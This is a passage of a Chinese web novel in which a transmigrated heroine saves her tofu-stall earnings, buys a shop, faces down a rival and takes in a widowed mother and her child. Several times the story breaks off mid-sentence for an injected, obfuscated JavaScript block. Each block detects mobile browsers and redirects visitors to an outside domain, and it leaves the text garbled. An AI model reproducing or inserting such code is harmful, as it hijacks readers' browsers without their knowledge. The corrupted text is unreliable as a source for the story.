太阳暖融融地照在身上。沈盈月心中暗自数着今日赚的银钱,今日豆腐卖了四十三文,豆腐脑三十五文,栗子豆腐最俏,卖了四十八文,再减去成本,净赚八十五文! 如今离盘下镇东那间小铺子的目标,又近了一步。 早一天攒够钱,就能早一天盘下铺子,不用再风吹日晒地摆摊了。 路过镇东那间挂着转让木牌的小铺子时,她特意停下脚步,隔着门板往里望了望。 铺子不大,却临街,里面能摆下石磨和灶台,门口还能支个小柜台,正好做豆腐铺。 等盘下铺子,就能把石磨和灶台搬过去,不用再在茅草屋里挤着,也不用再担心刮风下雨摆不了摊。 到时候,她再做些新产品,摆在铺子里卖,生意肯定比现在还好。 这些念头在心里转着,沈盈月忍不住笑出了声。 ...... 接下来的日子,沈盈月把心思全扑在了豆腐生意上,比以往更上心了。 先前她日只做一小盆栗子豆腐,不消半个时辰便被街坊抢购一空,常有晚来的客人遗憾万分。 沈盈月看在眼里,第二天就把分量加大,可依旧供不应求。 可即便如此,依旧挡不住食客们的热情。 早市刚过,两大盆豆腐便又见了底。 摊位前仍围着不少没买到的人,拉着她的衣袖念叨:“盈月姑娘,明日再多做些吧!就算多等会儿,我们也愿意。” 这般僧多粥少的光景,反倒让栗子豆腐的名气愈发响亮。 镇上没尝过的人,听着街坊们交口称赞,又瞧着每日排队抢购的热闹阵仗,心里愈发好奇:这栗子豆腐究竟是何等滋味,竟能让众人如此追捧? 一来二去,未得尝鲜者的期待更甚,买到者也愈发觉得这口美味来之不易,倒无意间成了一场水到渠成的饥饿营销。 沈盈月的豆腐摊前,日日都挤满了盼着尝鲜的食客,连旁边镇上的居民都特意赶早来凑热闹。 眼见栗子豆腐日日热销,摊位前总是挤满食客,沈盈月又动了新心思,便琢磨着推出了新品:虾仁蛋黄豆腐煲。 这豆腐煲选用新鲜的河虾,剥壳取肉切成碎,熟蛋黄压成碎末,下锅一同翻炒。 待虾仁与蛋黄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16305660|182823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 炒出金黄油亮的色泽,沈盈月再把嫩豆腐切成小块,和虾仁、蛋黄和青豆一起放进砂锅里,用小火慢炖。 出锅前撒把葱花,乳白色的汤汁里浮着粉红的虾仁、金黄的蛋黄和雪白的豆腐,相映成趣,鲜气能飘出半条街。 这道豆腐煲刚推出,就成了摊位上的新宠。 胡老头每次来都要喝两碗,还帮她出主意:“丫头,你这煲装在碗里不好带。邻镇来的客人想买多些回去,也怕路上洒了、凉了。我瞧着杂货铺有那种小陶罐,你若用它来装,既保温度又耐存放,定能多卖不少。” 沈盈月听了这话,第二天就去杂货铺买了十几个小陶罐,果然如胡老头所说,栗子煲的销量又涨了不少。 生意越来越好,攒钱的速度也跟着快起来。 不到一个月,钱袋里的银子就又多了十两,离五十两的目标只剩十两差距。 而这日,沈盈月没像往常一样天不亮就推起豆腐车出门。 她蹲在床前,从口袋摸出钥匙,咔嗒一声轻响,木匣盖应声弹开。 五十两银子就躺在木匣中,她忍不住伸手捻起一块银锭,冰凉的触感从指尖传到心口,沉甸甸的,那是她这一年多来攒下的心血。 真的攒够了?那个在镇东转让的铺子,今日就能真的属于自己了? 她刚穿越到这里时,原主只留下这间四处漏风的茅屋,连半文钱都没有。 她当了头上的银簪子,又靠着从后山采的野菜换了第一把黄豆,又跟杂货铺老板赊了块纱布,这才勉强支起豆腐摊。 那时她的心愿只是吃饱穿暖别饿死,谁能想到如今能拥有一间属于自己的铺子。 沈盈月反复清点了三遍,才小心翼翼地用布包了起来,塞进贴身处的衣襟里。 没敢多耽搁,沈盈月揣着银子就往镇东赶。 镇东是槐荫镇最热闹的地段,靠近早市,街坊们买菜、赶工都要从这儿过。 两旁的店铺挨挨挤挤,卖青菜的、卖肉的、卖早点的,吆喝声此起彼伏,比她之前摆摊的街口人流量多了一倍不止。 她之前特意绕路来观察过好几次,这附近没有一家豆腐铺,只有两家卖青菜的小摊和一家包子铺。 客源稳定不说,还没有直接的竞争对手。 买包子的客人说不定会顺带买块豆腐,买青菜的街坊也能顺手带碗豆腐脑。 这样的好地段,别说五十两,就算多花十两,也是值得的。 刚拐过街角,就看见那间铺子前站着个熟悉的身影,正是转让店铺的李大叔。 他是镇上的老住户,早年在这儿开了间杂货铺,卖些油盐酱醋、针头线脑,街坊们都爱跟他打交道。 后来李大叔年纪大了,儿女在城里定居,反复劝他去城里养老,他才决定把铺子转让出去。 见她来,李大叔连忙迎上来:“盈月姑娘,可算等着你了!前些日子还有王掌柜来问,我都跟他说,铺子早许给你了,让他别惦记。” “王掌柜?”沈盈月心里一惊,不用想也知道,这王掌柜定是王老三。 自上次茅屋一战后,王老三虽没再上门找茬,却总在她摆摊时远远盯着,有时还会故意在老主顾面前说她的坏话,可街坊们吃惯了她的豆腐,没一个人信他的鬼话。 如今她要盘铺子,王老三竟也盯上了? 王老三哪是真的想要这间铺子,他是怕自己有了固定的铺子后,生意更红火,客源更稳定,彻底抢了他王记豆腐铺的生意! 5. 第五章 “可不是嘛,他说愿意出五十五两,让我把铺子转给他,我没应。”李大叔拍了拍她的胳膊,“我瞧着姑娘是实在人,做的豆腐又干净又好吃。每次路过你摆摊的地方,都见街坊们围着买,这铺子给你,我放心。” 好家伙,王老三这是下血本了? 这家伙为了抢铺子,倒是舍得花钱! 可转念一想,李大叔宁愿少赚五两,也要把铺子留给自己,又忍不住心头一暖,暗叹自己运气好,遇上了这么讲信用的人。 要是换了旁人,早就见利忘义,哪还会记得之前的约定? 沈盈月悬着的心这才稍稍放下,跟着李大叔走进铺子。 推开木门时,一股淡淡的木料香扑面而来。铺子虽不大,却方方正正,没有一点浪费的空间。 靠里的墙角刚好能摆下石磨和灶台,灶台挨着后门,往后倒豆渣、倒废水都方便,还不会让油烟飘到街上呛着人。 临街的窗边能支两张小桌,客人坐下喝碗热豆腐脑,还能晒着太阳吹着风,多舒服。 门口的空地支个柜台,摆上新鲜的产品,街坊们一眼就能看见,比推着小车到处吆喝省事多了。 沈盈月越看越欢喜。 正看得入神,李大叔忽然笑着指了指铺子角落的木梯:“姑娘,你瞧这儿,这铺子还有层阁楼呢。” 沈盈月顺着他指的方向看去,才发现墙角藏着架不起眼的木梯,她踩着木梯往上走,探出头一看:阁楼虽比楼下矮些,却铺着平整的木板,简单摆着一张床和一个木箱,灰尘都扫得干干净净。 “这阁楼原是我儿子住的,后来他去城里读书,就空下来了。”李大叔跟在她身后上来,指着隔间说,“姑娘要是不嫌弃,收拾收拾就能住。往后你在楼下做豆腐,楼上住宿。” 之前她还在发愁,盘下铺子后,茅屋里的东西要怎么搬,晚上住在哪里,没成想竟连住处都一并解决了,这日子简直像做梦! “姑娘要是觉得满意,咱们现在就立契?”李大叔从怀里掏出早已写好的地契,递到她面前,指了指铺子外的街道,“这地段好,临街又近早市,往后你做豆腐生意,保准比摆摊时还要红火的多。后院还有个小仓库,能放黄豆、柴火,省得你来回搬。” 沈盈月接过地契,逐字逐句地看。转让价格、过户手续,一笔笔都写得清清楚楚,没有半点含糊。 她深吸一口气,爽快地签字画押,从怀里掏出布包,将五十两银子稳稳放在李大叔手上。 李大叔打开布包仔细数了数,随后把一把沉甸甸的铜钥匙递到她手里:“姑娘,从今日起,这铺子就是你的了。” ...... 接下来的三日,沈盈月几乎没合过眼,每日天不亮就起来忙活。 她请了镇上最好的泥瓦匠,把墙面刷得雪白。阳光一照,整个铺子都亮堂了好几倍。 刷完墙面,她又让张师傅在后院隔出一间小储物间。 后院原本是片空地,她量好尺寸,让师傅用旧砖块砌了道半人高的墙,再搭上个简易的木顶,铺上防水的油布。 储物间虽不大,却能放下泡黄豆的大瓦缸,还能摆下装工具的木桶。 往后泡豆、磨浆都能在这儿忙活,不用再把工具搬来搬去,也不会让豆渣、废水弄脏前院的铺子。 除了请匠人做重活,剩下的细活她都亲力亲为。 白天跟着师傅打下手,晚上就提着灯在铺子里擦擦洗洗,整个铺子被她收拾的焕然一新。 一直忙到开业前一天傍晚,沈盈月还蹲在铺子里擦窗户,忽然听见门口传来熟悉的的脚步声。 她抬头一看,心瞬间沉了下去。 果然又是讨人厌的王老三! 王老三堵在门口,不痛快地扫视着整个店铺,阴阳怪气道:“哟,这不是沈老板吗?刚盘下铺子就忙着打扫,倒是勤快。只是不知道,这铺子能不能撑过一个月,别到时候店还没坐热乎,就得卷铺盖走人。” 沈盈月握着抹布的手紧了紧,心里满是恼火。 这王老三真是阴魂不散,上次被怼回去还没长记性,现在又来膈应人! 她真想痛痛快快地把他打一顿,看他还敢不敢来招惹自己。 可如今铺子刚收拾好,明天就要开业,她不想节外生枝,便深吸一口气,压下心头的火气,尽量平和道:“我还要收拾铺子,没空跟你瞎吵。” 王老三却得寸进尺,抬脚就往铺子里闯:“你以为你摆摊赚了几个钱,就真能开铺子了?小丫头懂个屁的生意!我劝你还是趁早把铺子转了,省得最后赔得连裤子都不剩。” 眼见他鞋底的泥印子蹭在刚擦干净的地板上,看得沈盈月心疼得直抽气。 沈盈月站起身,眼神冷了下来:“我的铺子能不能撑下去,就不劳你操心了。倒是你,还是多想想怎么把自己的豆腐做得好吃些,免得街坊们都来我这买。” 王老三被戳到了痛处,脸色瞬间沉了下来,逼近她:“死丫头,别给脸不要脸!你要是识相,就自己把铺子转了,让我们开个分店,我还能给你个好价钱。要是不识相,往后有你好受的,别说店,我让你连摊都摆不成!” 还分店?两家王记豆腐铺,一家东一家西,想让街坊们从镇东吐到镇西吗? 沈盈月没有退,反而往前站了半步,直视着他的眼睛:“上次你砸我茅屋的事,我本就放你一马,如今你再造次,我就向官府告你两桩罪!看官府是让你赔钱,还是把你们王记豆腐从槐荫镇扫地出门!” 王老三盯着沈盈月的眼睛,只觉那双眼亮得吓人。 没有半分小姑娘该有的怯懦,反倒像淬了冰的刀子。 他活了大半辈子,在槐荫镇横行惯了,见多了被他吓唬两句就哭丧着脸求饶的人,却从没见过这样的眼神。 明明眉眼间还带着点没长开的青涩,少女的眼神却冷冽的不像话,让人心里一惊。 王老三本就是个雷声大雨点小的,只会嘴上叫嚣,被沈盈月这么一怼,心里顿时没了底气。 最终,他也只是狠狠啐了口唾沫在门口,撂下句“你等着”,就飞一般地逃走了。 沈盈月重新拿起抹布,把王老三踩过的地方擦了又擦。 唉,真晦气。 王老三越是挑衅,越说明他怕了,怕她的铺子开起来,抢了他的生意。 这样一来,她更要把铺子开好,让所有人都知道,她沈盈月不是好欺负的。 ...... 开业当天,天还没亮,沈盈月就起了床。 如今她已搬到铺子楼上的阁楼住,不用再摸黑走山路,爬下楼梯就是自家店铺,比往日方便得多,时间也更宽裕些。 沈盈月特意把长发梳成利落的发髻,用木簪固定住,又从木箱里翻出一小盒胭脂,蘸了点轻轻扫在颊边,瞬间多了几分气色。 往日摆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16305661|182823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 摊时总顾不上这些,可如今自己也算半个门面不是? 她从后院推出装豆腐的小车,只见铺着湿布的竹篮里,嫩豆腐卧在其中,雪白莹润。 而车辕两侧并排放着两个粗陶桶,左边桶里是甜口的桂花豆腐脑,嫩白的脑花上撒着金黄的桂花碎,热气裹着清甜的香气直往鼻尖钻。 右边桶里是咸口的虾米豆腐脑,细碎的虾米、切碎的榨菜和绿油油的葱花浮在表面,咸鲜的味道刚飘出来,就勾得人食欲大开。 最让她上心的,是角落那个盖着厚布的陶坛,里面装着她新做的霉豆腐。 坛口刚掀开条缝,酱香混着微辣的气息就钻了出来,裹着红亮辣油的豆腐块挤在坛中。 霉豆腐块块饱满软嫩,指尖轻轻一碰,就能感受到绵密的绒毛。 不枉费她凌晨三点就起来忙活,总算是没白费。 营业时间没到,胡老头就先一步赶来了,手里还提着一挂红鞭炮,老远就喊:“盈丫头,开业大吉啊!这炮仗我特意去城里买的,响得很!” 沈盈月忍不住笑,快步迎上去:“胡老头,您这是怕我铺子开业不够热闹,特意来给我撑场面呐?只是这城里的炮仗不便宜吧,您该不会是把私房钱都挪过来了?” 胡老头眼睛一瞪,显摆道:“你这丫头,就会打趣我。我攒了半个月的酒钱买的!你,别光顾着笑,快找个凳子来,这炮仗得挂高些,这才够气派!” 沈盈月憋着笑,搬来小木凳,胡老头利落地站上去,还不忘叮嘱:“你扶稳了!摔着我老头子,我可得讹你钱。” 她赶紧扶住凳腿,仰头递过炮仗。胡老头哼了一声,手指灵巧地把炮仗绳系在门楣的红绸上,红鞭炮垂下来,和雪白的墙面一衬,格外喜庆。 他下来后,满意地点点头:“你瞧,我办事你放心!等会儿点炮仗,我来!你躲远点,别溅着火星子烫着。” 说话间,“噼里啪啦”的鞭炮声炸了开来,红色的纸屑落在门口,瞬间引来了满街的街坊。 张婆婆就牵着小孙女的手,从人群里挤了进来。 “盈月姑娘!”她嗓门亮,老远就挥着手,“今天做了点什么?我孙儿饿得很,这不,缠着我要带他来看你。” 沈盈月笑着将他们往铺子里头引:“外面日头是越来越毒了,快进来凉快凉快。您放心,今天有我新做的霉豆腐,保准让你们都尝个鲜。” 说着,她小心翼翼掀开陶坛上的厚布。 坛口刚露出来,酱香混着微辣的气息就飘了过去,小孙女立马睁大眼睛,拽着张婆婆的衣角小声问:“奶奶,好香呀,这是什么呀?” 沈盈月取来干净的竹筷,挑了块裹满红亮辣油的霉豆腐,递到祖孙二人面前:“张婆婆,您先尝尝。这霉豆腐裹了盐、辣椒面和花椒,味道鲜香。您要是觉得合口味,就带一罐回去,配粥、就饼子都好吃。” 话虽这么说,她心里却悄悄打起了鼓。 这霉豆腐是她第一次做。虽说调整了调料的用量,可古代人的口味跟现代人总归不一样。 况且张婆婆年纪大了,说不定偏爱清淡口,万一觉得咸了或辣了可怎么办? 要是连最常来照顾她生意的张婆婆都不喜欢,那其他街坊会不会也不买账? 张婆婆接过来就放进嘴里,牙齿刚碰到豆腐,就忍不住“哎哟”一声。 沈盈月挣大了眼睛,生怕听到不“不好吃”三个字—— 6. 第六章 “这也太入味了!” 豆腐在舌尖轻轻一抿就化了,酱香裹着微辣漫开来,张婆婆眼睛瞬间瞪得溜圆,手里的竹筷都忘了放下。 她赶紧拉过身边的小孙女:“乖孙,快尝尝,比你爱吃的豆腐脑还香!” 小孙女怯生生凑过来,沈盈月特意挑了块辣油少的递给他。 小家伙小心翼翼地尝了一口,眼睛瞬间弯成了月牙,拽着张婆婆的衣角晃:“奶奶,好吃!还要!” 沈盈月悬着的心这才落回肚子里。 张婆婆拉着沈盈月的手念叨:“盈月姑娘,你这手艺真是一等一的好。摆摊时做的豆腐就好吃,如今开了铺子,连霉豆腐都做得这么地道。快,给我装一罐,我回去配今早的玉米粥,让我女儿也尝尝鲜!” 周围的街坊见张婆婆吃得欢喜,也都围了过来,七嘴八舌地问:“丫头,给我也尝一块!” 沈盈月刚给张婆婆装完霉豆腐,转身就见铺子门口又挤进来几个老主顾。 几人刚进门,眼睛就忍不住往铺子里扫,看着光鲜亮丽的铺子,满脸都是惊讶。 “哎哟,盈月姑娘,这真是你的铺子?”一人张大了嘴,“这才几天啊,就开上正经铺子了?真是出息了!” “我还跟你张婆婆念叨,说这姑娘太苦了,没成想这么快就有自己的店了,真好,真好啊!真是个能干的姑娘。” 周围的街坊也跟着附和,沈盈月被夸得脸颊发烫,刚要开口说话,就见张婆婆眼圈忽然红了。 她慢慢走上前,轻轻拉过沈盈月的手,指腹摩挲着沈盈月手上磨出的薄茧,声音也带着几分哽咽:“盈月,看着你现在这样,婆婆心里头啊,真是放心多了。” “你还记得不?你爹娘当年,就是从这样一间小馆子起家的啊。” 这话一出,铺子里瞬间安静了些,连刚进门的客人都下意识放缓了脚步,好奇地听着。 沈盈月愣了愣。 她穿越过来时,原主的记忆里只模糊记得爹娘是盈香楼的大东家,却不知在这之前还有一段往事。 张婆婆叹了口气:“那时候啊,你爹娘刚成亲没两年,手里揣着小两口的全部家当,在东街口租了间小馆子,小得很,就摆四张桌子。那时你爹掌勺,你娘当跑堂,两人从早忙到晚,连口水都顾不上喝。” “我那时候就住在馆子隔壁,每天天不亮就能看见你爹娘在忙活,你娘手脚麻利,记菜名记得准,收账也快,客人都爱跟她搭话。” “后来你出生了,刚会走路的时候,就穿着件小粉肚兜,在馆子门口帮着吆喝,多懂事的孩子啊。” 说到这儿,张婆婆用袖口擦了擦眼角,声音里的哽咽更明显了:“谁能想到啊,后来你爹娘能做成盈香楼那样的大酒楼?那时候盈香楼多风光啊,连临安府的达官贵人都来吃,可再后来……唉,不说那些伤心事了。” 她重新看向沈盈月,拭去眼角的泪花:“现在看到你又开起了自己的店,你爹娘的心愿,又重新在你身上续上了。” 周围的街坊也跟着叹气,胡老头声音也有些发哑:“现在你能重新开起店,不管卖啥,都是好样的,没给你爹娘丢脸!” 沈盈月听着这些话,鼻子一酸,眼泪差点掉下来。 她虽没亲身经历过原主爹娘的时光,却能从张婆婆的描述里,想象出那对夫妻在小馆子里忙碌的模样。 清晨的灶台边,爹爹颠着锅铲,娘亲在桌间穿梭,小小的她在小小的馆子里玩闹。 那天的豆腐铺,比往常闭店晚了半个时辰。 街坊们买完豆腐,却没急着走,围着沈盈月,你一言我一语地说起更多关于沈家的旧事。 沈盈月一边听,一边把这些事悄悄记在心里。 直到天都暗了下去,最后一个街坊才离开。 ...... 开业不过半月,豆腐铺的生意日日红火。 每日辰时开门,不到巳时,嫩豆腐和桂花豆腐就卖得七七八八。傍晚收摊时,新上架的菜品已卖得所剩无几。 沈盈月坐在案前,翻着账本上新增的收入,嘴角忍不住上扬。 照这个势头下去,再过没多久,就能把盘铺子的五十两银子赚回来了! 她甚至开始偷偷盘算,等赚回本钱,就把铺子里那扇旧木门换了,显得更气派。 可是日子渐渐安稳下来,沈盈月却发现自己越来越忙。 生意好是好,就是快把自己熬成陀螺了。 每日磨豆、点卤、守摊,常常连午饭都顾不上吃,啃块硬饼子就算对付了。 有时想试着研究些新品,却一点时间都挤不出来。 自己一人身兼数职,又是掌柜又是厨子,还得兼着伙计,撑起这个小店,实在是力不从心。 或许,该找个人帮忙了。 她低头翻了翻账本,前些日子盘铺子花了五十两,买黄豆、卤水、柴火又花了不少。 虽然每天赚得不少,可要是雇个人,每月给两百文工钱,再管两顿饭,一个月下来也得多花不少钱,而自己自从盘下铺子后,手头上实在是不够宽裕。 万一哪天生意差了,连本钱都得亏进去。 “罢了罢了,再撑阵子吧。”她合上账本,对着空无一人的铺子叹了口气。 这念头刚压下去没两天,这日,傍晚歇业时,门却被敲响了。 一阵带着凉意的晚风裹着两个人影进来,吹得案台上的油灯微微晃动。 这个点还有客人? 沈盈月听见动静抬头,撞见一双满是惶恐的眼睛。 门口站着个穿洗得发白粗布衫的妇人,布料上打着好几块补丁,针脚歪歪扭扭的。 而她怀里紧紧抱着个鼓囊囊的布包,布包口露出半张怯生生的小脸,是个约莫五六岁的孩子,梳着两个歪歪扭扭的小辫子。 小孩的睫毛颤巍巍的,像受惊的小兽。 她一看见沈盈月,“嗖”地就把脸埋回母亲怀里,只留下个毛茸茸的后脑勺。 妇人的脚没敢往铺子里多迈,只在门槛边停下,声音细得快要被风吹散:“对、对不起,打扰您 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16305662|182823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 歇业了……我就是想来问问,您这儿招人吗?” 沈盈月指了指旁边的小凳,语气放得温和:“先进来吧,外面风大,别冻着孩子。” 妇人却没动,只是把怀里的布包又往胸前紧了紧。 她抑制住生意里的哽咽,结结巴巴地说道:“我叫苏兰,这是我女儿小梅。我们是从乡下逃荒来的,本是来投靠镇上的远房表姐,可找到她家才知道,她半年前就搬去城里了,连个地址都没留下……” “孩子爹去年冬天得了风寒,没钱治,没撑过去就没了,我就剩小梅一个亲人。我带着她在镇上找了十几天活计,首饰行说要年轻姑娘,粮铺嫌我带孩子麻烦,酒楼的后厨也都问遍了,人家一看见小梅,直接就把门关上了……” “我实在没辙了,才来叨扰您。” 小梅从布包里探出头,圆圆的眼睛怯生生地扫过铺子,又飞快落回沈盈月身上。 沈盈月看着这对母女单薄的身影,想起自己刚穿越过来时,住在破旧茅屋里,凌晨顶着寒风推豆腐车出摊,连生病都不敢歇的日子。 那种孤立无援、连口热饭都吃不上的滋味,她太清楚了。 苏兰见她没说话,身子晃了晃,像是快站不住了,声音里的哭腔更甚:“掌柜,我真的能吃苦!您交代的活我都能干,绝不会偷懒!小梅很乖,我干活时让她坐在角落,她绝不会吵到您做买卖,也不会碰铺子里的东西……” “我、我不要工钱,只求您给我们娘俩一口热饭吃,别让我们再睡在大街上就行,小梅昨晚还被冻得咳嗽了半宿,我抱着她,却连件厚衣服都没有。我怕孩子、孩子她受不住啊!” 沈盈月看着苏兰冻得发紫的嘴唇,看着小梅露在布包外的、纤细得像芦苇杆的小手,心里也有些苦涩。 要是把她们拒之门外,这对母女今晚可能还得睡大街,小梅要是再冻着,肯定会生病。 这么小的孩子,如若再这样下去...... 可要是留下她们,自己的生计又怎么办? 沈盈月没接话,缓步走到苏兰面前,弯下腰对着布包里的小梅笑了笑,声音放得温柔:“小梅,你愿意跟娘亲一起在这儿帮姐姐做事吗?姐姐这儿有刚煮好的甜豆浆,要不要尝尝?” 小梅抬头看了看母亲,见苏兰含着泪点了点头,才小声“嗯”了一声。 沈盈月转身走进后厨,端出一碗甜豆浆。 她用勺子轻轻吹了吹,又用指尖碰了碰碗壁,确认温度刚好不会烫到孩子,才端到小梅面前:“慢慢喝,别着急。” 孩子小心翼翼地伸出小手接过粗瓷碗,小手指因为常年营养不良而显得有些纤细,她端着碗,大口大口地喝着,似乎是饿了很久,连豆汁沾在嘴角也无暇管顾。 苏兰连忙哆哆嗦嗦地掏出手帕,笨拙地帮女儿擦干净嘴角,眼泪却吧嗒吧嗒往下掉。 这十几天,孩子跟着她吃了太多冷硬的干粮,喝了太多凉水,好久没喝到这么暖、这么甜的东西了。 “留下吧。”沈盈月看着这一幕,突然开口。 7. 第七章 苏兰猛地抬头,泪珠还凝在眼睫上,她望着沈盈月,嘴唇翕动了几下,却发不出声音。 沈盈月见她这模样,又放缓了语气:“后厨正好缺个人打理杂事,你每日只管挑拣黄豆,把陈豆、坏豆拣出去,再将石磨与灶台擦洗干净。等中午客人少了,帮我做顿午饭便行,活儿不重。” 她指了指柜台旁的角落,那里放着一张闲置的小方桌,是之前客人多的时候临时添的。 “明天我把那张桌子擦干净,给小梅铺块软垫。平日里咱们一起干活,就让她在那坐着自己玩,我这儿还有之前用剩的纸墨,她若愿意,想画画就画,想写字就写字,不用拘束,也方便你看管她。” “至于工钱.....”她顿了顿,想起苏兰刚才说的不要工钱,又补充道,“工钱每月两百文,管你和小梅三顿饭,就在店里吃。” “要是不嫌弃,铺子里的后院有间小储物间,我明天找个人帮忙收拾收拾,铺垫子,再放床被子。你们娘俩也不用再在外头奔波,好歹有个安稳住处。” 这话刚落,苏兰的眼泪一下子涌了出来,抱着小梅就要下跪。 这些年颠沛流离,她见惯了旁人的冷眼,听够了尖酸话。自从丈夫死后,连亲人都嫌弃她是个克夫的寡妇,从未想过会有人这般待她。 她的膝盖刚弯下去,就被沈盈月连忙上前扶住了胳膊:“可使不得,都是讨生活的人,互相帮衬是应该的。” “谢谢您……谢谢您……”苏兰哽咽着,连一句完整的话都说不出来,只是一个劲地重复着谢谢。 眼泪像断了线的珠子,几近打湿了沈盈月的衣袖。 她看着沈盈月伸出扶她的手,僵持在原地。 生怕自己粗糙的衣料蹭脏了对方干净的罗裙,更怕这突如其来的好是一场梦,一触就碎。 可沈盈月的掌心带着温温的暖意,柔软又妥帖。 小梅虽不全懂沈盈月说是什么意思,却知道眼前这位姐姐是要帮她们,便仰着小脸,对着沈盈月小声说:“姐姐,谢谢。” 沈盈月看着母女二人,也不禁弯了弯眼眸。 她从柜台抽屉里拿出两个用油纸包好的糕饼,递到苏兰手里:“这是今日剩下的,你们先垫垫肚子,别饿着了。今晚便在这儿凑合一晚,明早我教你怎么干活,这些活不难,你上手快。” 苏兰接过糕饼,指尖触到油纸下温热的糕点,眼泪又忍不住掉了下来。 ...... 翌日,沈盈月念着要教苏兰活计,便早早醒来。 阁楼里还是一片昏沉,她轻手轻脚地起身,生怕惊扰了身侧酣眠的母女二人。 刚下到一楼,就见灶房里已经亮着微光。 苏兰竟比她起得还早,正蹲在灶台边,拿着布巾细细擦拭昨夜她提过的石磨。 “你怎么起这么早?”沈盈月走过去,看着被擦得锃亮的石磨,有些出乎意料。 苏兰听见声音,连忙站起身,手忙脚乱地把布巾叠好。 她有些局促地说:“沈掌柜既想着要教我干活,我便早点起来把东西收拾干净,免得误了时辰。梅还睡着,我让她多睡会儿,您这儿暖和的很,昨晚她终于没咳嗽了。” “那就好。”沈盈月笑了笑,从粮缸里舀出两大勺黄豆,放在竹筛里递过去。 “行,那今日我先教你挑豆子。你看,这种颗粒饱满、颜色偏黄亮的便是上好的新豆,若遇见这种颜色发暗的陈豆,还有带黑斑的坏豆,都得尽数挑出来,不然坏了豆腐的口感。” 说罢,她捏起一颗坏豆,递到苏兰眼前示意。 没成想苏兰学得极快,眼睛紧紧盯着黄豆,手指小心翼翼地拨弄着。 她本就心思细,沈盈月只演示一遍,她便分清了好豆与坏豆,挑拣的速度也渐渐快了起来。 不过一炷香的功夫,两斤黄豆便分作两堆,好豆堆里竟没混进半颗坏豆。 “你上手真快。”沈盈月忍不住赞叹。 苏兰既勤快又机灵,学东西半点不费劲,若好好教她磨浆、点卤的手艺,往后定能帮自己分担不少活计。 接下来的磨豆浆、点卤,沈盈月也都一一教给苏兰。苏兰全程没敢走神,不仅仔细听,还在心里默默记步骤。 她笑着点了点头:“等你熟悉了这些基础活,往后我还能教你做豆干、豆皮,这些都是能卖好价钱的手艺。” 她想着,苏兰学会这些,即便日后离开铺子,也能靠手艺糊口,带着小梅好好活下去,不用再颠沛流离。 苏兰的眼睛瞬间亮了,不敢置信道:“您、您愿意教我做这些?我、我也能学会做豆腐?” 在苏兰看来,能做出又嫩又香的豆腐是很厉害的本事,她原本只想着能洗豆子、擦灶台就够了,从没想过还能学手艺。 有了手艺,就等于有了安身立命的根本,往后就算再遇着难处,也能凭着这手艺活下去。 “当然能。”沈盈月看着她泛红的眼眶,语气格外认真,“这些手艺不难,你这么聪明,肯定学得会。” 苏兰的眼泪一下子涌了上来,她赶紧低下头,用袖子擦了擦,声音有些发颤:“谢谢您,沈姑娘……您不仅给我住处和工钱,还愿意教我这么多,我、我都不知道该怎么谢您了。” 沈盈月待她这般好,竟让她觉得像在做梦。 “客气什么。”沈盈月笑着拍了拍她的肩膀,“你帮我分担了活计,我教你手艺,这是互相帮衬。” 说话间,阁楼上传来小梅轻轻的哼唧声,苏兰连忙擦干净手,快步上楼去接孩子。 没过多久,苏兰就抱着穿好衣服的小梅下来了。 小梅见到沈盈月,小声说了句“姐姐早”,就乖乖坐在柜台旁的小方桌前,拿着笔在纸上画起了画。 沈盈月盛了三碗甜豆浆,又拿出早上蒸好的白面馒头,递给苏兰和小梅:“先吃饭,吃饱了才有力气干活。” 上午的客人渐渐多了起来,苏兰已能熟练地帮沈盈月装豆腐、算钱,甚至还记住了老主顾的喜好。 熟客们见铺子里多了个勤快的妇人,还有个乖巧的孩子,都觉得热闹了不少,买豆腐时也觉得新奇。 中午歇业时,苏兰主动去了灶房。 她用铺子里剩下的豆腐边角料,加了点青菜和虾米,炖了锅豆腐羹,又蒸了糙米饭,还给小梅盛了小半碗,让她坐在小桌旁吃。 沈盈月尝了口豆腐羹,鲜得眯起眼睛:“你这手艺真好,以后啊,我中午再也不用啃硬饼子了!” 苏兰不好意思地笑了:“就是家常做法,您不嫌弃就好。” 沈盈月放下勺子,看着碗里飘着翠绿青菜、裹着淡淡油花的豆腐羹,又看了看苏兰略显局促的模样,忍不住笑着摆了摆手:“什么嫌弃不嫌弃的,你这手艺藏得深啊,以前在家常给小梅做这些吧?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 